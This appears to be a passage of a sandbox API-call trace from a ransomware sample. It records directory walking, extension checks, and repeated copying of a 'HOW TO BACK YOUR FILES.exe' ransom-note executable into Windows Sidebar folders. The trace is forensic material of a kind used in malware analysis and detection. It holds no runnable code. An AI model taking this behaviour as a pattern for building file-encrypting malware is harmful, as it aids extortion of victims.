	[0060.650] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.655] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.655] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3c387490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c387490, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.655] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.655] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.655] lstrcpyW (in: lpString1=0x2d3e592, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0060.655] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0060.655] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4e) returned 0x5bcb70
	[0060.655] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bf0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bf0) returned 0x5b7ad0
	[0060.655] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa1afe884, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1
	[0060.655] lstrcmpiW (lpString1="Gadgets", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.655] lstrcmpiW (lpString1="Gadgets", lpString2="Apollon865.txt.exe") returned 1
	[0060.655] lstrcpyW (in: lpString1=0x2d3e592, lpString2="Gadgets" | out: lpString1="Gadgets") returned="Gadgets"
	[0060.655] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0060.655] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x52) returned 0x5984c8
	[0060.655] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0060.655] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c387490, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3c387490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0060.656] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0060.656] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d8b118c, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x7d8b118c, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x43f45420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x15600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sbdrop.dll", cAlternateFileName="")) returned 1
	[0060.656] lstrcmpiW (lpString1="sbdrop.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.656] lstrcmpiW (lpString1="sbdrop.dll", lpString2="Apollon865.txt.exe") returned 1
	[0060.656] lstrcpyW (in: lpString1=0x2d3e592, lpString2="sbdrop.dll" | out: lpString1="sbdrop.dll") returned="sbdrop.dll"
	[0060.656] lstrlenW (lpString="sbdrop.dll") returned 10
	[0060.656] lstrlenW (lpString="Apollon865") returned 10
	[0060.656] lstrlenW (lpString=".dll") returned 4
	[0060.656] lstrcmpiW (lpString1="sbdrop.dll", lpString2=".dll") returned 1
	[0060.656] lstrlenW (lpString=".lnk") returned 4
	[0060.656] lstrcmpiW (lpString1="sbdrop.dll", lpString2=".lnk") returned 1
	[0060.656] lstrlenW (lpString=".ini") returned 4
	[0060.656] lstrcmpiW (lpString1="sbdrop.dll", lpString2=".ini") returned 1
	[0060.656] lstrlenW (lpString=".sys") returned 4
	[0060.656] lstrcmpiW (lpString1="sbdrop.dll", lpString2=".sys") returned 1
	[0060.656] lstrlenW (lpString="sbdrop.dll") returned 10
	[0060.656] lstrcpyW (in: lpString1=0x2d3e592, lpString2="settings.ini" | out: lpString1="settings.ini") returned="settings.ini"
	[0060.656] lstrlenW (lpString="settings.ini") returned 12
	[0060.656] lstrlenW (lpString="Apollon865") returned 10
	[0060.656] lstrcmpiW (lpString1="ttings.ini", lpString2="Apollon865") returned 1
	[0060.656] lstrlenW (lpString=".dll") returned 4
	[0060.656] lstrcmpiW (lpString1="settings.ini", lpString2=".dll") returned 1
	[0060.656] lstrlenW (lpString=".lnk") returned 4
	[0060.656] lstrcmpiW (lpString1="settings.ini", lpString2=".lnk") returned 1
	[0060.656] lstrlenW (lpString=".ini") returned 4
	[0060.656] lstrcmpiW (lpString1="settings.ini", lpString2=".ini") returned 1
	[0060.656] lstrlenW (lpString=".sys") returned 4
	[0060.656] lstrcmpiW (lpString1="settings.ini", lpString2=".sys") returned 1
	[0060.656] lstrlenW (lpString="settings.ini") returned 12
	[0060.657] lstrcpyW (in: lpString1=0x2d3e592, lpString2="Shared Gadgets" | out: lpString1="Shared Gadgets") returned="Shared Gadgets"
	[0060.657] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0060.657] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x60) returned 0x5c5458
	[0060.657] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7cb0 | out: ListHead=0x5b76b0, ListEntry=0x5b7cb0) returned 0x5b7c50
	[0060.657] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa896430f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa896430f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa898a46f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x168400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sidebar.exe", cAlternateFileName="")) returned 1
	[0060.657] lstrcmpiW (lpString1="sidebar.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.657] lstrcmpiW (lpString1="sidebar.exe", lpString2="Apollon865.txt.exe") returned 1
	[0060.657] lstrcpyW (in: lpString1=0x2d3e592, lpString2="sidebar.exe" | out: lpString1="sidebar.exe") returned="sidebar.exe"
	[0060.657] lstrlenW (lpString="sidebar.exe") returned 11
	[0060.657] lstrlenW (lpString="Apollon865") returned 10
	[0060.657] lstrcmpiW (lpString1="idebar.exe", lpString2="Apollon865") returned 1
	[0060.657] lstrlenW (lpString=".dll") returned 4
	[0060.657] lstrcmpiW (lpString1="sidebar.exe", lpString2=".dll") returned 1
	[0060.657] lstrlenW (lpString=".lnk") returned 4
	[0060.657] lstrcmpiW (lpString1="sidebar.exe", lpString2=".lnk") returned 1
	[0060.657] lstrlenW (lpString=".ini") returned 4
	[0060.657] lstrcmpiW (lpString1="sidebar.exe", lpString2=".ini") returned 1
	[0060.657] lstrlenW (lpString=".sys") returned 4
	[0060.657] lstrcmpiW (lpString1="sidebar.exe", lpString2=".sys") returned 1
	[0060.657] lstrlenW (lpString="sidebar.exe") returned 11
	[0060.657] lstrcpyW (in: lpString1=0x2d3e592, lpString2="wlsrvc.dll" | out: lpString1="wlsrvc.dll") returned="wlsrvc.dll"
	[0060.657] lstrlenW (lpString="wlsrvc.dll") returned 10
	[0060.657] lstrlenW (lpString="Apollon865") returned 10
	[0060.657] lstrlenW (lpString=".dll") returned 4
	[0060.657] lstrcmpiW (lpString1="wlsrvc.dll", lpString2=".dll") returned 1
	[0060.657] lstrlenW (lpString=".lnk") returned 4
	[0060.657] lstrcmpiW (lpString1="wlsrvc.dll", lpString2=".lnk") returned 1
	[0060.657] lstrlenW (lpString=".ini") returned 4
	[0060.657] lstrcmpiW (lpString1="wlsrvc.dll", lpString2=".ini") returned 1
	[0060.657] lstrlenW (lpString=".sys") returned 4
	[0060.657] lstrcmpiW (lpString1="wlsrvc.dll", lpString2=".sys") returned 1
	[0060.658] lstrlenW (lpString="wlsrvc.dll") returned 10
	[0060.658] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Shared Gadgets", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Shared Gadgets") returned="C:\\Program Files\\Windows Sidebar\\Shared Gadgets"
	[0060.658] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5458 | out: hHeap=0x580000) returned 1
	[0060.658] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0060.658] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Shared Gadgets") returned 47
	[0060.658] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Shared Gadgets" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Shared Gadgets") returned="C:\\Program Files\\Windows Sidebar\\Shared Gadgets"
	[0060.658] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.658] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Shared Gadgets\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\shared gadgets\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.662] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.662] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Shared Gadgets\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3c3ad5f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c3ad5f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.662] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.662] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.662] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets") returned="C:\\Program Files\\Windows Sidebar\\Gadgets"
	[0060.662] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5984c8 | out: hHeap=0x580000) returned 1
	[0060.662] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0060.662] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets") returned 40
	[0060.662] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets") returned="C:\\Program Files\\Windows Sidebar\\Gadgets"
	[0060.662] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.662] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.673] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.673] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3c3d3750, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c3d3750, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.673] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.673] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.673] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="Calendar.Gadget" | out: lpString1="Calendar.Gadget") returned="Calendar.Gadget"
	[0060.673] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0060.673] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x5916c0
	[0060.674] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0060.674] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Clock.Gadget", cAlternateFileName="CLOCK~1.GAD")) returned 1
	[0060.674] lstrcmpiW (lpString1="Clock.Gadget", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.674] lstrcmpiW (lpString1="Clock.Gadget", lpString2="Apollon865.txt.exe") returned 1
	[0060.674] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="Clock.Gadget" | out: lpString1="Clock.Gadget") returned="Clock.Gadget"
	[0060.674] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0060.674] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6c) returned 0x59a920
	[0060.674] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7cb0 | out: ListHead=0x5b76b0, ListEntry=0x5b7cb0) returned 0x5b7c50
	[0060.674] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CPU.Gadget", cAlternateFileName="CPU~1.GAD")) returned 1
	[0060.674] lstrcmpiW (lpString1="CPU.Gadget", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.674] lstrcmpiW (lpString1="CPU.Gadget", lpString2="Apollon865.txt.exe") returned 1
	[0060.674] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="CPU.Gadget" | out: lpString1="CPU.Gadget") returned="CPU.Gadget"
	[0060.674] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0060.674] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x68) returned 0x5c8fa0
	[0060.674] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7cb0
	[0060.674] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Currency.Gadget", cAlternateFileName="CURREN~1.GAD")) returned 1
	[0060.674] lstrcmpiW (lpString1="Currency.Gadget", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.674] lstrcmpiW (lpString1="Currency.Gadget", lpString2="Apollon865.txt.exe") returned 1
	[0060.674] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="Currency.Gadget" | out: lpString1="Currency.Gadget") returned="Currency.Gadget"
	[0060.674] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0060.674] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x591740
	[0060.674] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7af0
	[0060.674] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3d3750, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3c3d3750, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0060.674] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0060.674] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1afe884, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8df54c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MediaCenter.Gadget", cAlternateFileName="MEDIAC~1.GAD")) returned 1
	[0060.674] lstrcmpiW (lpString1="MediaCenter.Gadget", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.674] lstrcmpiW (lpString1="MediaCenter.Gadget", lpString2="Apollon865.txt.exe") returned 1
	[0060.674] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="MediaCenter.Gadget" | out: lpString1="MediaCenter.Gadget") returned="MediaCenter.Gadget"
	[0060.675] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0060.675] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x78) returned 0x5917c0
	[0060.675] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c10 | out: ListHead=0x5b76b0, ListEntry=0x5b7c10) returned 0x5b7c90
	[0060.675] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PicturePuzzle.Gadget", cAlternateFileName="PICTUR~1.GAD")) returned 1
	[0060.675] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.675] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="Apollon865.txt.exe") returned 1
	[0060.675] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget"
	[0060.675] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0060.675] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd68 | out: hHeap=0x580000) returned 1
	[0060.675] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget") returned 55
	[0060.675] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget"
	[0060.675] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.675] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.689] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.689] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3c3f98b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c3f98b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.690] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.690] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.690] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images"
	[0060.690] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0060.690] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd88 | out: hHeap=0x580000) returned 1
	[0060.690] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images") returned 62
	[0060.690] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images"
	[0060.690] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.690] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.788] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.788] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3c4de0f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c4de0f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0060.791] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.791] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.809] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI"
	[0060.809] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994e8 | out: hHeap=0x580000) returned 1
	[0060.809] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd88 | out: hHeap=0x580000) returned 1
	[0060.809] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI") returned 69
	[0060.809] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI"
	[0060.809] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
